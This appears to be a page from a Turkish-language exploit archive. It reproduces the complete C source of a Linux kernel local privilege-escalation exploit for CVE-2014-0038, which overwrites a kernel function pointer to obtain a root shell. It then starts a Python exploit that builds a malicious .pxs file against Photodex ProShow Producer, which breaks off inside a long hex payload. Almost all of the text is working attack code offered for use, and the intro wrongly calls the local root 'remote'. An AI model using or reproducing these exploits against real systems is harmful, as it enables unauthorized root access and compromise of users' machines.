Archive for Local Exploits

Linux Ubuntu 2013 Local Root Exploit

ubuntu-2013-local-root-exp

Linux 3.4+ Arbitrary write with CONFIG_X86_X32 Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux versiyonunda uzaktan yüksek yetki erişimi root yetkisi alınabilmektedir. Açığa ilişkin exploit aşağıdaki gibidir.

/*
 * Local root exploit for CVE-2014-0038.
 *
 * https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c
 *
 * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer
 * passed from userspace.
 *
 * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,
 * if the original byte at that address is known it can be overwritten
 * with known data.
 * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.
 *
 * Restrictions: The first long at the passed address (tv_sec) has to be positive
 * and the second long (tv_nsec) has to be smaller than 1000000000.
 *
 * Overview: Target the release function pointer of the ptmx_fops structure located in
 * non initialized (and thus writable) kernel memory. Zero out the three most
 * significant bytes and thus turn it into a pointer to an address mappable in
 * user space.
 * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec
 * is valid).
 * Open /dev/ptmx, close it and enjoy.
 *
 * Not very beautiful but should be fairly reliable if symbols can be resolved.
 *
 * Tested on Ubuntu 13.10
 *
 * gcc timeoutpwn.c -o pwn && ./pwn
 *
 * Written by saelo
 */
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8

/*
 * Adapt these addresses for your need.
 * see /boot/System.map* or /proc/kallsyms
 * These are the offsets from ubuntu 3.11.0-12-generic.
 */
#define PTMX_FOPS           0xffffffff81fb30c0LL
#define TTY_RELEASE         0xffffffff8142fec0LL
#define COMMIT_CREDS        0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

/*
 * Match signature of int release(struct inode*, struct file*).
 *
 * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz
 */
int __attribute__((regparm(3)))
kernel_payload(void* foo, void* bar)
{
    _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
    _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

    *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;    // restore pointer
    commit_creds(prepare_kernel_cred(0));

    return -1;
}

/*
 * Write a zero to the byte at then given address.
 * Only works if the current value is 0xff.
 */
void zero_out(long addr)
{
    int sockfd, retval, port, pid, i;
    struct sockaddr_in sa;
    char buf[BUFSIZE];
    struct mmsghdr msgs;
    struct iovec iovecs;

    srand(time(NULL));

    port = 1024 + (rand() % (0x10000 - 1024));

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    sa.sin_family      = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port        = htons(port);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }

    memset(&msgs, 0, sizeof(msgs));
    iovecs.iov_base         = buf;
    iovecs.iov_len          = BUFSIZE;
    msgs.msg_hdr.msg_iov    = &iovecs;
    msgs.msg_hdr.msg_iovlen = 1;

    /*
     * start a seperate process to send a udp message after 255 seconds so the syscall returns,
     * but not after updating the timout struct and writing the remaining time into it.
     * 0xff - 255 seconds = 0x00
     */
    printf("clearing byte at 0x%lx\n", addr);
    pid = fork();
    if (pid == 0) {
        memset(buf, 0x41, BUFSIZE);

        if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
            perror("socket()");
            exit(EXIT_FAILURE);
        }

        sa.sin_family      = AF_INET;
        sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        sa.sin_port        = htons(port);

        printf("waiting 255 seconds...\n");
        for (i = 0; i < 255; i++) {
        if (i % 10 == 0)
                printf("%is/255s\n", i);
        sleep(1);
        }

        printf("waking up parent...\n");
        sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));
        exit(EXIT_SUCCESS);
    } else if (pid > 0) {
        retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);
        if (retval == -1) {
            printf("address can't be written to, not a valid timespec struct\n");
            exit(EXIT_FAILURE);
        }
        waitpid(pid, 0, 0);
        printf("byte zeroed out\n");
    } else {
      perror("fork()");
      exit(EXIT_FAILURE);
    }
}

int main(int argc, char** argv)
{
    long code, target;
    int pwn;

    /* Prepare payload... */
    printf("preparing payload buffer...\n");
    code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
    memset((void*)code, 0x90, PAYLOADSIZE);
    code += PAYLOADSIZE - 1024;
    memcpy((void*)code, &kernel_payload, 1024);

    /*
     * Now clear the three most significant bytes of the fops pointer
     * to the release function.
     * This will make it point into the memory region mapped above.
     */
    printf("changing kernel pointer to point into controlled buffer...\n");
    target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
    zero_out(target + 7);
    zero_out(target + 6);
    zero_out(target + 5);

    /* ... and trigger. */
    printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
    pwn = open("/dev/ptmx", 'r');
    close(pwn);

    if (getuid() != 0) {
        printf("failed to get root :(\n");
        exit(EXIT_FAILURE);
    }

    printf("got root, enjoy :)\n");
    return execl("/bin/bash", "-sh", NULL);
}

Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Exploit

Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Python Exploit

#!/usr/bin/python
 
# Exploit Title: Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Vulnerability
# Version:       <= 5.0.3297
# Date:          2013-02-14
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.inshell.net
# Software Link: http://www.photodex.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         -
# Howto:         Use the app to open the .pxs file

from struct import pack

file="exploit.pxs"

head = ("\x50\x68\x6F\x74\x6F\x64\x65\x78\x20\x50\x72\x65\x73\x65\x6E\x74\x65\x72\x20\x53"+
"\x74\x72\x65\x61\x6D\x1A\x0A\x0D\x0A\x1A\x00\x00\x00\x00\x04\x00\x01\x00\x6A\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xB2\x89\x00\x00\x00\x00\x00\x00\x03\x00"+
"\x00\x00\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xBF\x0D\x00\x00\x01\xFF"+
"\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xFF"+
"\xFE\x00\x50\x46\x69\x6C\x65\x20\x77\x72\x69\x74\x74\x65\x6E\x20\x77\x69\x74\x68"+
"\x20\x43\x6F\x6D\x70\x75\x50\x69\x63\x28\x52\x29\x20\x2D\x20\x50\x68\x6F\x74\x6F"+
"\x64\x65\x78\x20\x43\x6F\x72\x70\x6F\x72\x61\x74\x69\x6F\x6E\x20\x28\x68\x74\x74"+
"\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x70\x68\x6F\x74\x6F\x64\x65\x78\x2E\x63\x6F\x6D"+
"\x29\xFF\xDB\x00\x84\x00\x05\x03\x04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06"+
"\x07\x0C\x08\x07\x07\x07\x07\x0F\x0B\x0B\x09\x0C\x11\x0F\x12\x12\x11\x0F\x11\x11"+
"\x13\x16\x1C\x17\x13\x14\x1A\x15\x11\x11\x18\x21\x18\x1A\x1D\x1D\x1F\x1F\x1F\x13"+
"\x17\x22\x24\x22\x1E\x24\x1C\x1E\x1F\x1E\x01\x05\x05\x05\x07\x06\x07\x0E\x08\x08"+
"\x0E\x1E\x14\x11\x14\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E"+
"\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E"+
"\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\xFF\xC0\x00\x11\x08"+
"\x00\x55\x00\x71\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\xA6\x00\x00"+
"\x01\x04\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04\x05\x07"+
"\x01\x02\x06\x08\x10\x00\x01\x03\x03\x01\x04\x05\x08\x06\x06\x0B\x01\x00\x00\x00"+
"\x00\x01\x02\x03\x04\x00\x05\x11\x06\x07\x12\x21\x31\x08\x13\x22\x41\x94\x15\x51"+
"\x55\x61\x71\x91\xD1\xD2\x14\x18\x32\x42\x56\x81\x23\x92\xA1\xA2\xB1\xC1\x16\x17"+
"\x24\x25\x33\x43\x62\x74\x82\x84\x85\xB2\x01\x01\x00\x03\x01\x01\x01\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x04\x02\x05\x06\x11\x00\x02\x02\x01\x03"+
"\x03\x02\x05\x00\x0A\x03\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x21\x31\x12"+
"\x13\x51\x05\x41\x14\x22\x52\x71\x81\x15\x23\x32\x33\x61\x91\xA1\xB1\xF0\xF1\xC1"+
"\xD1\xE1\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF1\x95\x00\x50"+
"\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00"+
"\x50\x1D\x96\xCA\xB6\x7F\x74\xDA\x25\xEE\x55\xAA\xD7\x3A\xDD\x09\x51\x62\x2E\x63"+
"\xCF\x4E\x74\xB6\xDA\x1B\x49\x00\x92\x40\x3E\x71\x52\x93\x6F\x08\x86\xF0\xB2\xCB"+
"\x1D\xAE\x8C\x9A\x91\xD1\x96\xF5\xA6\x89\x50\xF5\x5C\x17\xF2\x55\x9D\x8B\x3C\x15"+
"\xF7\xEB\xF2\x28\x3A\x2E\xEA\xA3\xCB\x58\x68\xBF\x1E\xBF\x92\xA7\xB1\x67\xD2\xC7"+
"\x7E\xBF\x26\x7E\xAB\x9A\xAF\xF1\x7E\x8C\xF1\xEB\xF9\x29\xD8\xB3\xE9\x1D\xFA\xFC"+
"\x99\xFA\xAD\xEA\xCF\xC5\xDA\x33\xC7\xAF\xE4\xA8\xEC\x59\xF4\x8E\xF5\x7E\x4C\x7D"+
"\x56\xF5\x67\xE2\xED\x19\xE3\xD7\xF2\x53\xB1\x67\x81\xDE\xAF\xC8\x7D\x57\x35\x5F"+
"\xE2\xFD\x19\xE3\xD7\xF2\x53\xB3\x67\x82\x7B\xB0\x7C\x33\x3F\x55\xAD\x5C\x46\x46"+
"\xAD\xD1\xA4\x7F\xBE\x5F\xC9\x5C\xF6\xE5\xE0\xEB\xA9\x1A\xAB\xA2\xEE\xAB\x4F\xDA"+
"\xD5\xFA\x30\x7F\xDF\x5F\xC9\x5D\x2A\x66\xFD\x8E\x5D\xB0\x5C\xB3\x53\xD1\x87\x53"+
"\x8E\x7A\xCB\x45\x78\xF5\xFC\x95\x3F\x0F\x67\xD2\xC8\xEF\xD7\xE4\xD4\xF4\x65\xD4"+
"\xA3\x9E\xB4\xD1\x23\xFF\x00\x41\x7F\x25\x3E\x1E\xDF\xA5\x91\xDF\xAF\xEA\x38\xAD"+
"\xAD\x6C\xA6\xF7\xB3\x88\xB6\xB9\x77\x3B\x9D\xA2\xE1\x1E\xE6\x5D\x0C\x39\x6F\x7C"+
"\xB8\x9C\xB6\x40\x50\x39\x03\xCE\x2A\xB9\x41\xC1\xE2\x48\xB2\x32\x52\x59\x4C\xAE"+
"\xEB\x93\xA0\xA0\x0A\x02\xF5\xE8\x74\x90\xAD\x55\xAB\x12\x46\x41\xD2\xF2\xB8\x7F"+
"\xC9\x15\xD4\x1E\x24\x99\x12\x5D\x4B\x0C\xF4\xD6\x90\xB4\x32\xE4\x34\x2B\x74\x1E"+
"\xC8\xCF\x0E\x55\xEB\x53\x7E\x76\x67\x9B\x7E\x99\x47\x78\xB3\xA9\x6E\xC8\xC6\x07"+
"\xE8\xD3\xEE\xAB\xDD\x89\x7B\x99\x15\x52\x6F\x64\x2D\xE4\x46\x12\x70\xA6\xD2\x0F"+
"\xAC\x54\x2B\x22\xD6\x53\x25\xD5\x34\xF0\xD0\x2A\xD5\x0D\xBF\xB6\x1B\x1E\xDA\xE7"+
"\xB9\x1F\x27\x4A\x8B\x1F\xB1\xAB\x96\xE8\x08\xE2\xA2\xD0\xF7\x57\x2A\xD8\xBE\x0B"+
"\x1E\x96\xC5\xC8\x9B\x30\xEC\xEB\x74\xB4\xEB\xED\xB4\xA0\x46\x32\x8C\x83\x55\xD9"+
"\x7C\xA3\xBC\x63\x92\xFA\x74\x9D\x5B\x4A\x58\x63\xA6\xAC\xB6\xC5\x65\x48\x75\x97"+
"\x08\xFB\xA8\x50\x49\xAC\xD3\xD5\x67\x67\x1C\x7D\xD1\xAE\xBD\x13\x8E\xFD\x59\xFB"+
"\x30\x76\x15\xB9\xB6\x4A\x56\xDC\x85\x67\xCE\x90\x6A\xA5\xD7\x29\x66\x38\x2F\x6A"+
"\x11\x8E\x27\x9F\xC9\x05\x2E\x2C\x02\x4E\x22\x2F\x03\xBF\x76\xB6\x42\xCB\x51\x8E"+
"\xCA\x29\x96\xF9\x23\xDD\xB7\xC5\x58\xE1\x15\x69\x07\xBC\x81\x5A\x23\x6C\xFD\xD2"+
"\x32\x4F\x4F\x52\xDD\x49\x94\x7F\x4D\x36\x52\xC6\x88\xD0\x6D\x20\x60\x07\xAE\x07"+
"\xF7\x91\x5E\x6E\xB1\xE6\xD6\x6D\xD2\xAC\x57\x84\x79\x6A\xB2\x9A\x02\x80\x28\x0B"+
"\xCF\xA1\xEA\xFA\xBD\x4F\xAB\x57\x8C\xEE\xE9\x79\x47\xF7\x91\x53\x15\x97\x81\x9C"+
"\x1E\x94\xD1\xD7\xC5\xFD\x15\xB0\x90\x52\x30\x07\x01\xC0\xD6\xC8\xD2\xF0\x72\xEE"+
"\x5E\xE7\x4A\xCD\xF6\x57\x5E\x0A\x02\x8A\xFB\x86\xEF\x3A\xED\xD5\xB6\xE4\x2B\x52"+
"\x79\x43\xB4\xDC\xE7\x48\x27\x09\x52\x57\x9C\xF2\xAA\xBB\x6A\x1B\x16\x77\x3A\xF7"+
"\x1C\xB2\x24\xBA\xBC\x4C\x88\x5C\x4A\xBE\xF2\x4E\x28\xE3\x24\xB3\x06\x42\xBA\x0D"+
"\xB5\x34\x6A\xED\x82\x33\x8A\xCA\x9C\x90\x90\x78\x80\x55\x9F\xE5\x5A\x23\x64\xD2"+
"\xDC\xC9\x29\xC1\xBD\xB8\x12\x56\x9A\x8E\x85\x85\x04\x2D\xC1\xEB\x59\xAE\x9D\xB2"+
"\xC1\x5C\x5C\x1B\xDC\x5C\x58\xE2\x25\x04\x96\x42\x7D\xAA\x34\xEE\x37\xC9\xCB\xD9"+
"\xE2\x2C\xDD\xA8\x4C\x80\x12\xDF\xE4\x37\x8D\x56\xE5\x1E\x59\x77\xEB\x38\x59\x14"+
"\x30\xC6\xEF\x2A\xED\x74\x99\xE5\x29\xF0\xD8\xD2\x44\x44\xE0\xF0\xAB\x54\x91\x53"+
"\xC9\xE7\x2E\x9D\x08\xEA\xF4\xAE\x85\x4E\x3F\xCD\x9F\xFC\x5B\xAF\x3B\x54\xF3\x63"+
"\x3D\x0D\x37\xEE\xCF\x28\x56\x73\x40\x50\x05\x01\x76\x74\x4F\x92\xEC\x3B\xCE\xB3"+
"\x94\xCE\xEF\x58\xD6\x94\x96\xA4\xEF\x0C\x8C\x85\x22\xA6\x31\x52\x78\x64\x39\x74"+
"\xAC\xA2\xD8\xD1\xFB\x46\xBA\x44\x6B\xFB\x55\xB2\xDD\x2D\x07\x04\x76\x4A\x0A\x7F"+
"\x30\x6B\x77\xC2\x65\x7C\xB3\x68\xAA\x3A\xBC\x3F\x9A\x29\x9D\x62\x76\x8B\x0D\xF0"+
"\x56\x6D\x92\x1A\x70\xFD\xD0\xE8\x29\x1E\xCE\xFC\x54\x76\x6C\xAD\x7C\xD3\x58\x2C"+
"\xEF\xD3\x3E\x20\xC7\x90\x35\xF3\xA9\x5A\x52\xC2\x63\x0D\xD4\x8D\xF2\xEA\x40\x56"+
"\x7D\x58\xA9\x95\x56\x3C\xEF\x93\xA8\x4F\x4E\xF6\xE0\x52\x46\xD7\x8C\x2C\xA2\x44"+
"\x78\xCB\x56\x70\x31\x9C\x9A\x8E\x89\xAC\x75\x6C\x44\xA9\xA2\x59\xE8\x6D\xFF\x00"+
"\x51\xB3\xBB\x5E\x95\x74\x11\x2D\xF0\x60\xA9\x97\xA4\x4A\x69\x0A\x90\xD2\x77\xD2"+
"\xD2\x72\x0A\xB3\x9E\x1C\x47\x0F\xCE\xB0\xFA\x8E\xA7\xE1\xA9\x73\x8B\x4D\xF8\xC9"+
"\x7E\x8F\x43\x1B\x6D\x49\xA7\x8F\xB1\xDE\x1D\x7B\xA4\xC2\xB7\xA4\x5C\xBE\x8C\xB0"+
"\x4A\x70\xE0\x23\x88\x38\x3C\xB9\xF1\xAB\xA9\xB5\x5D\x05\x28\xFF\x00\xA3\x3D\xBA"+
"\x6B\x28\x78\x7F\xEC\x13\xAF\xF4\x8B\x88\x57\xF7\x98\x52\x52\xAD\xDF\xF0\x97\xDA"+
"\xF5\x8E\x1C\x45\x6A\x8D\x56\x4B\x74\xB2\x63\x96\x22\xFE\x6D\x89\x38\xB7\xDB\x04"+
"\xA4\x83\x16\xE7\x0D\x7B\xC3\x20\x05\x8C\xFB\xAB\x87\x19\xC7\x94\x4A\xC3\xE1\x83"+
"\x97\x8B\x4A\x54\x52\x2E\x11\xB2\x00\x24\x75\xA9\xE0\x3D\xF4\x4E\x5E\x08\x70\x44"+
"\x67\xF4\x92\xCB\x21\xE7\x58\x62\xE3\x15\x6E\x36\x70\xA0\x1C\x1C\x3E\x3F\x95\x77"+
"\x89\xA5\x96\x8E\x31\x17\xC3\x3C\xF9\xD3\xAD\xC4\xBB\xA5\x74\x2A\xD2\x41\x05\xD9"+
"\xF8\x20\xFA\xDB\xAC\x76\xBC\xC8\xD9\x4A\xC4\x4F\x27\xD5\x65\xA1\x40\x14\x05\xBF"+
"\xD1\xA5\x4B\x6D\xDD\x78\xB4\x7D\xA1\xA4\x26\x11\xFA\xCD\xD7\x32\x6D\x26\xD1\x29"+
"\x65\xE1\x8C\xE5\x6A\x0B\x83\xC9\x4D\xB1\x86\xF2\x1B\x1B\xEE\xAD\x27\x81\x18\x04"+
"\x7E\x62\xB3\x4A\xFB\x2C\x86\x67\x2D\x9F\xB1\x6F\x45\x71\xDA\x31\xDF\xC8\xF9\xDD"+
"\x5E\xB6\xE2\xC2\x41\x56\x0A\x52\x70\xA2\x79\x9E\x38\xF7\x72\xAE\x2C\x95\xB7\x57"+
"\xDA\x97\x08\xEA\x0A\x15\xCB\xB8\xB9\x63\x9D\x37\xAC\x2E\x32\xAE\xC6\x0B\x0D\x25"+
"\x48\x23\x8A\x94\x9C\x92\xA0\x0F\x0F\x57\x7D\x4C\x25\x7E\x9A\x3D\x55\xBD\xFC\x12"+
"\xE3\x56\xA2\xCC\x49\x6C\x75\x31\xE4\x5B\xAE\x26\x4B\x8E\x8F\xD2\xC7\x73\x75\xF4"+
"\x9E\x21\xB5\x1E\x01\x23\xDD\x59\x35\x9A\xAB\xEE\x92\x73\x7C\xF1\x83\xD8\xF4\xFD"+
"\x35\x15\x41\xA8\xF2\xB9\x2D\x7D\x8B\xB3\x10\x59\xA6\x85\x34\x95\x21\x72\x92\x51"+
"\x94\x77\xEE\x8A\xF9\x2F\x58\x9B\x56\x47\xEC\x7B\xFA\x7C\x28\xBC\x14\xF6\xA7\x71"+
"\x48\x5B\x53\xDB\x75\x3B\xED\x48\x94\xD2\xDA\x6F\xB4\xB0\x43\xA4\x82\xAC\x8E\x1C"+
"\x38\x0F\x65\x7D\x1E\x8E\xC8\xEF\x16\xB9\x4B\xFB\x1E\x35\xF5\xDA\xD2\x9E\x78\x6F"+
"\xFB\x8B\xE9\x65\xDC\x2F\x53\x30\xE3\xB3\xD9\x42\xDB\x53\x80\x36\xD7\x12\x40\xC8"+
"\x18\x00\x01\x9F\x3D\x5D\x3D\x5C\x74\x71\x7D\x2F\x1F\x92\x21\xA5\xB7\x56\xD7\x5A"+
"\xCF\xE3\xFF\x00\x06\xD7\x2B\x9D\xCA\x0C\xB5\x31\x21\x89\xCC\x91\xC4\x07\x54\xA0"+
"\x48\xF3\x8C\x0E\x55\xB6\xAD\x4A\xBE\x3D\x50\x9E\x57\xDC\xC1\x75\x12\xA2\x5D\x32"+
"\x8E\x3F\x07\x4D\xB3\xFB\xBC\x48\xB6\x6B\xDC\xD9\x76\xD4\xBE\xE3\x7B\x8B\x49\x79"+
"\x47\x04\x04\x9C\x8E\x3D\xF5\xE3\x7A\xA2\xBA\xCB\xAA\x84\x26\xE3\x9C\xF0\x7A\xDE"+
"\x99\xDB\x8D\x36\xCE\x51\x4F\x1E\x46\x31\xF6\xAB\xA4\x14\xDC\xFF\x00\xA7\x69\x74"+
"\xA5\xE6\x1D\x40\x47\x56\xF6\x02\xC1\x3C\x78\x1E\x40\x55\x92\xD1\x6B\xEB\xC2\xAE"+
"\xF9\x19\xFF\x00\x48\x68\xE7\x97\x65\x4B\x6F\xE0\x86\x3D\x2A\xE7\x5B\x6E\x3B\x32"+
"\xD9\xEC\xAB\x4B\x7B\x91\x56\xF5\xC7\x75\x3B\xDB\xDF\x79\xBE\xFA\xF5\xFD\x3A\x57"+
"\xCA\x84\xF5\x0F\x32\xDC\xF2\x7D\x4A\x14\xC7\x50\xD5\x3F\xB3\xB1\xE6\xEA\xDA\x60"+
"\x0A\x00\xA0\x2D\xFE\x8D\x85\x40\xEB\xE2\x9C\xEF\x0D\x1D\x34\x8F\x6E\xF2\x2B\x99"+
"\xED\x17\x93\xA8\xF3\xB1\x06\xEB\xC8\x85\x6F\x4C\x80\xF2\xC3\x8E\xAB\x0B\x4E\x33"+
"\xC3\x18\x38\x3E\xCA\xF3\xE0\x95\x92\xE9\x6B\x83\x44\x97\x44\x33\x9E\x4B\x33\x60"+
"\x7A\x7E\xC5\x78\xB7\xDD\x64\x5D\xA2\xA6\x4C\x56\x1C\x53\x69\x52\xB7\x4E\x1B\x28"+
"\x2A\x39\xC8\xCF\xBB\xCD\x5E\x3F\xAD\xEA\xED\xD3\x4A\x2A\xB7\x86\xFF\x00\xEC\xFA"+
"\x1F\x44\xD1\xD3\x6D\x16\x4E\x6B\x29\x6D\xBF\x81\x3D\x59\xA7\xED\x31\x5F\x96\xAB"+
"\x13\x4E\x3F\x1C\x36\x95\xB4\xEA\x56\x14\x97\x09\x07\x97\x9F\x07\xF8\xD7\xA5\xA2"+
"\xD5\x59\x65\x69\xDA\xF0\xCC\x3A\xDD\x2D\x55\xCD\xF6\x56\x57\xB1\x0D\xB3\x28\x33"+
"\x53\x65\xBB\x3A\xBD\xE6\xBE\x91\x21\x24\x2D\x2A\xCE\x70\x08\x50\xE0\x79\xF1\x14"+
"\xF5\x09\xA5\x28\xE3\xD8\xB7\xD2\x2A\x73\x8C\x93\x78\xCB\x2D\xED\x0B\xA9\x91\xA7"+
"\x74\xDD\xC2\x44\xA7\x1C\x58\x8E\xB6\xDC\x75\x65\x20\xE5\x3C\xB7\x78\x9E\x75\xF2"+
"\xDE\xA3\xA7\x9E\xA2\xE8\x46\x2B\x9C\x9F\x47\x5C\x61\x55\x6E\x56\x3D\x91\x50\xBF"+
"\x75\x4D\xC2\x64\xD2\xF3\xAE\x36\x5F\x90\xA7\x5B\x4A\x94\x51\xC0\xA8\x9C\xE0\x73"+
"\x3C\x6B\xDF\xAA\xB5\x05\x1C\x2E\x16\x0F\x06\x5A\xD5\x25\x28\xCB\xCE\xC6\xFA\x62"+
"\xE3\x78\xB3\x5D\x9B\x16\xA9\xEC\xA5\xC7\x5F\xDC\x71\x4F\x00\xB2\x13\x8C\x77\xF0"+
"\x03\xF2\xAE\xF5\x35\xD1\x7D\x6D\xCD\x70\xB6\x2A\xD3\x6A\x2C\xAE\x6A\x31\x96\xCD"+
"\xEE\x4F\x6A\xEC\x5D\xDF\xB7\x8B\xD5\xF2\x23\x81\xA6\x90\xD2\x7A\x96\x89\x56\xF1"+
"\x1C\x41\x50\x1E\xDF\x65\x62\xD2\x4F\xE1\x94\xBB\x70\xC6\x59\xEA\x6A\xA8\xA6\xEE"+
"\x97\x64\xF6\xFF\x00\x93\x98\x9F\x62\xBB\xC5\x5C\x98\xF1\x16\xD3\x91\x3A\xC2\x50"+
"\x85\xAB\x2A\x4A\x4F\x2E\x3C\xB3\x5E\xDE\x9E\xE5\x6C\x54\x9A\x3C\x0D\x56\x9A\x54"+
"\xCD\xC5\x35\x81\x7D\x32\xA6\x60\xD8\xD4\xB9\x56\xC6\x24\x4A\x62\x56\xF1\xDE\x48"+
"\xE2\x38\x70\xFD\x94\xBE\xB9\x4D\xEC\xF1\x94\x46\x9A\xC8\xD7\x0F\x99\x65\xE4\x75"+
"\xD2\x22\x53\x73\xF6\x59\xA2\x67\x32\xC0\x61\xA9\x17\x3B\xBB\x8D\xB6\x00\x1B\xA9"+
"\x2E\x23\x03\x03\x95\x68\xD1\xD6\xEB\xA6\x30\x6F\x2D\x23\x0E\xAE\x6A\xCB\xA5\x24"+
"\xB6\x6C\xA0\xAB\x49\x9C\x28\x02\x80\xB6\xBA\x3A\x28\xA1\x9D\xA0\xA8\x73\x1A\x3A"+
"\x6F\xFF\x00\x4D\xD4\x49\x65\x12\x9E\x1E\x4E\x65\xB9\x90\xE6\x84\xA2\x72\x1D\x0D"+
"\x36\x9E\xD7\x56\xA3\x9F\xD9\x58\x1D\x73\xAF\x78\x3D\xD9\x73\xB5\x4F\x0A\x4B\x83"+
"\xBD\xD1\x77\x89\x76\x3B\x5C\xBB\x6D\xA9\xD4\x33\x16\x76\x1C\x75\x2A\x51\x2B\x00"+
"\xA4\xA7\x74\x2B\x1D\xE2\xBC\x9D\x62\x8D\xCD\x4A\xD5\x96\xBF\xCE\x0F\x4F\x49\xAB"+
"\xB2\x8A\xE5\x5D\x7B\x29\x6E\xC6\x32\x2E\xB3\x18\xB8\x39\x15\x85\x2D\xFC\x28\x25"+
"\xA4\x25\x47\x0D\xA4\xA7\x9E\x05\x59\x18\x29\xD4\xA5\x37\x82\xA9\xD9\x25\x2F\x26"+
"\xDA\x7A\xE7\x3A\xCD\xA6\x5D\x8E\xC8\x48\x48\x79\x6F\x15\x3A\x32\x5C\x27\x03\x03"+
"\x1E\xB1\x5D\x5F\x67\x76\xE4\xBF\xC4\x34\xFA\x89\xD3\x56\x23\xE4\x52\xED\x7A\x7E"+
"\x7D\xAD\xD8\x65\xD4\x19\x07\x71\x45\xB6\xD5\xC3\x19\xE5\xED\xA4\x13\x8C\xD4\x9A"+
"\xDB\x7D\xCB\x65\xAC\x9C\xEB\x70\x6C\x82\x9D\xD5\xC8\x61\x97\x9B\x74\xB4\xA6\xC1"+
"\x09\x46\xF1\xDF\xDE\xEF\x04\xD5\xD5\xE6\x12\x69\xAC\xE7\xF9\x18\xAD\xB3\xAD\x2C"+
"\x6D\x83\x09\x12\xAD\xD3\x42\xFA\xB3\xBA\xA4\xF6\x9C\x52\xF7\xF7\x88\x1C\xC5\x4F"+
"\x54\x6D\x8E\x1B\x39\x8F\x55\x72\xCE\x07\x51\x2F\x0A\x54\x64\xF6\xD8\x7D\xC5\xE0"+
"\x60\x76\x70\xAC\x64\xF1\xEE\x35\x55\x94\x6E\xFD\x91\xA6\x3A\xB9\xA8\x6C\x35\x97"+
"\x79\x9C\xE4\x17\x07\x56\xF0\x29\x48\xCA\xCA\x7E\xC9\xFE\x7D\xDE\xFA\xD1\x5D\x6A"+
"\x12\x58\x91\x9E\xDD\x4D\x93\x4F\x24\x44\x4B\xF5\xD5\x88\x12\x1B\xEB\x73\x1D\x67"+
"\x0A\x38\xCA\xB8\xF0\xE7\xDC\x2B\x6B\x49\xB4\xBD\xCC\xEA\xD9\xE3\x07\x5D\xB4\xF5"+
